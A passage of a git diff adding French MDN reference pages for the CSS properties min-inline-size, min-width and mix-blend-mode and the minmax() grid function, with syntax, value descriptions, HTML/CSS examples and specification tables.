+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-min-inline-size", "min-inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.min-inline-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes
+  <ul>
+   <li>{{cssxref("min-width")}}</li>
+   <li>{{cssxref("min-height")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/min-width/index.html b/files/fr/web/css/min-width/index.html
new file mode 100644
index 0000000000..16337c8f00
--- /dev/null
+++ b/files/fr/web/css/min-width/index.html
@@ -0,0 +1,142 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/min-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>min-width</code></strong> est utilisée pour définir la largeur minimale d'un élément donné. Elle empêche la valeur de la propriété {{cssxref("width")}} de devenir inférieure à la valeur spécifiée par <code>min-width</code> (autrement dit, <code>min-width</code> est une borne inférieure pour <code>width</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de <code>min-width</code> surcharge les valeurs de {{cssxref("max-width")}} et de {{cssxref("width")}} si elle est supérieure à l'une de ces propriétés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+min-width: 3.5em;
+
+/* Valeurs relatives */
+/* Type &lt;percentage&gt; */
+min-width: 10%;
+
+/* Valeurs avec un mot-clé */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* Valeurs globales */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La largeur minimale. Voir {{cssxref("&lt;length&gt;")}} pour les unités qu'on peut utiliser. Une largeur négative rendra la déclaration invalide.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La largeur minimale, exprimée comme un fraction de la largeur du bloc englobant. Voir la page {{cssxref("&lt;percentage&gt;")}} sur les valeurs possibles avec ce type. Les valeurs négatives rendront la déclaration invalide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Définit une taille automatique minimale. Sauf si elle est définie par la disposition courante, la résolution de cette valeur sera 0. A des fins de rétro-compatibilité, la valeur résolue de ce mot-clé sera 0 pour l'ensemble des disposition CSS2 : bloc, en ligne, bloc-en ligne, disposition en tableau..</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque préférée.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque minimale.</dd>
+ <dt><code>fill-available</code>{{experimental_inline}}</dt>
+ <dd>La largeur du bloc englobant moins la marge horizontale, la bordure et le remplissage (<em>padding</em>). Certains navigateurs implémentent cette valeur avec un ancien nom : <code>available</code>.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>La largeur calculée par <code>min(max-content, max(min-content, fill-available))</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt; Lorem ipsum tralala sit amet, consectetur adipisicing
+  &lt;p&gt;
+     Ut enim ad minim veniam, quis nostrud exercitation
+     ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 250px;
+  border: solid 1px red;
+}
+
+p {
+  max-width: 60%;
+  border: solid 1px blue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> et <code>fill-available</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Ajout du mot-clé <code>auto</code> qui est utilisé comme valeur initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'min-width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>min-width</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.min-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte" title="en/CSS/box_model">Le modèle de boîtes</a></li>
+</ul>
diff --git a/files/fr/web/css/minmax()/index.html b/files/fr/web/css/minmax()/index.html
new file mode 100644
index 0000000000..be3492db41
--- /dev/null
+++ b/files/fr/web/css/minmax()/index.html
@@ -0,0 +1,151 @@
+---
+title: minmax()
+slug: Web/CSS/minmax()
+tags:
+  - CSS
+  - Experimental
+  - Fonction
+  - Reference
+  - Web
+translation_of: Web/CSS/minmax()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La fonction CSS <code><strong>minmax</strong></code><strong><code>()</code></strong> définit un intervalle de taille compris (au sens large) entre <var>min</var> et <var>max</var>. Cette fonction est utilisée avec <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">les grilles CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Valeurs &lt;inflexible-breadth&gt;, &lt;track-breadth&gt; */
+minmax(200px, 1fr)
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(100px, max-content)
+minmax(min-content, 400px)
+minmax(max-content, auto)
+minmax(auto, 300px)
+minmax(min-content, auto)
+
+/* Valeurs &lt;fixed-breadth&gt;, &lt;track-breadth&gt; */
+minmax(200px, 1fr)
+minmax(30%, 300px)
+minmax(400px, 50%)
+minmax(50%, min-content)
+minmax(300px, max-content)
+minmax(200px, auto)
+
+/* Valeurs &lt;inflexible-breadth&gt;, &lt;fixed-breadth&gt; */
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(min-content, 200px)
+minmax(max-content, 200px)
+minmax(auto, 300px)
+</pre>
+
+<p>Une fonction qui prend en entrée deux arguments : <em>min</em> et <em>max</em>.</p>
+
+<p>Chaque paramètre peut être une longueur, un pourcentage, un facteur de flexibilité ou l'un des mots-clés parmi <code>max-content</code>, <code>min-content</code> ou <code>auto</code>.</p>
+
+<p>Si <var>max</var> &lt; <var>min</var>, <var>max</var> est ignoré et <code>minmax(min,max)</code> correspond à <var>min</var>. Utilisé comme maximum, une valeur {{cssxref("flex_value","&lt;flex&gt;")}} permet de définir le facteur de flexibilité d'une piste de la grille, elle est invalide comme minimum.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur positive (cf. le type {{cssxref("&lt;length&gt;")}}).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage ({{cssxref("&lt;percentage&gt;")}}) positif, relatif à la taille en ligne du conteneur pour les colonnes et à la taille en bloc pour les lignes du conteneur. Si la taille de la grille dépend de la taille de ses pistes, la valeur devra être traitée comme <code>auto</code>. L'agent utilisateur peut ajuster les contributions des tailles intrinsèques à la taille de la piste du conteneur de la grille et augmenter la taille finale de la piste par l'écart minimal nécessaire pour respecter ce pourcentage.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive avec l'unité <code>fr</code> qui définit le facteur de flexibilité de la piste (cf. {{cssxref("&lt;flex&gt;")}}). Chaque piste avec un tel coefficient <code>&lt;flex&gt;</code> occupe une partie de l'espace disponible restant en fonction de son facteur de flexibilité.</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Cette valeur représente la plus grande valeur <code>max-content</code> contribuant aux objets de la grille qui occupent la piste.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Cette valeur représente la plus grande valeur <code>min-content</code> contribuant aux objets de la grille qui occupent la piste</dd>
+ <dt><code>auto</code></dt>
+ <dd>Utilisé comme maximum, c'est un synonyme de <code>max-content</code>. Utilisé comme un minimum, il représente le plus grand des minima (selon  {{cssxref("min-width")}}/{{cssxref("min-height")}}) des objets de la grille qui occupent la piste.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h3 id="Propriétés_CSS_applicables">Propriétés CSS applicables</h3>
+
+<p>La fonction <code>minmax()</code> peut être utilisée avec les propriétés suivantes :</p>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3] notranslate">#container {
+  display: grid;
+  grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;
+    Item aussi large que le contenu jusqu'à 300 pixels max.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Item avec une largeur flexible minimale de 200 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Item inflexible de 150 pixels de large.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#valdef-grid-template-columns-minmax", "minmax()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template-columns.minmax")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://gridbyexample.com/video/series-minmax/">Un tutoriel vidéo : Introduction à <code>minmax()</code> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture">Les grilles CSS : les valeurs logiques et les modes d'écriture</a></li>
+</ul>
diff --git a/files/fr/web/css/mix-blend-mode/index.html b/files/fr/web/css/mix-blend-mode/index.html
new file mode 100644
index 0000000000..c6abaca52a
--- /dev/null
+++ b/files/fr/web/css/mix-blend-mode/index.html
@@ -0,0 +1,661 @@
+---
+title: mix-blend-mode
+slug: Web/CSS/mix-blend-mode
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mix-blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mix-blend-mode</code></strong> définit la façon dont le contenu d'un élément doit se mélanger avec le contenu de l'élément parent et avec son arrière-plan.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;blend-mode&gt; */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* Valeurs globales */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;blend-mode&gt;</code></dt>
+ <dd>Indique comment la fusion des modes doit intervenir (cf. {{cssxref("&lt;blend-mode&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="hidden" id="mix-blend-mode">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;Blending isolé (pas de blending avec l'arrière-plan)&lt;/div&gt;
+    &lt;div class="row isolate"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;defs&gt;
+                &lt;linearGradient id="red"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(0,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(0,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="green"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(120,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(120,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="blue"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(240,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(240,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+              &lt;/defs&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;Blending étendu (avec l'arrière-plan)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
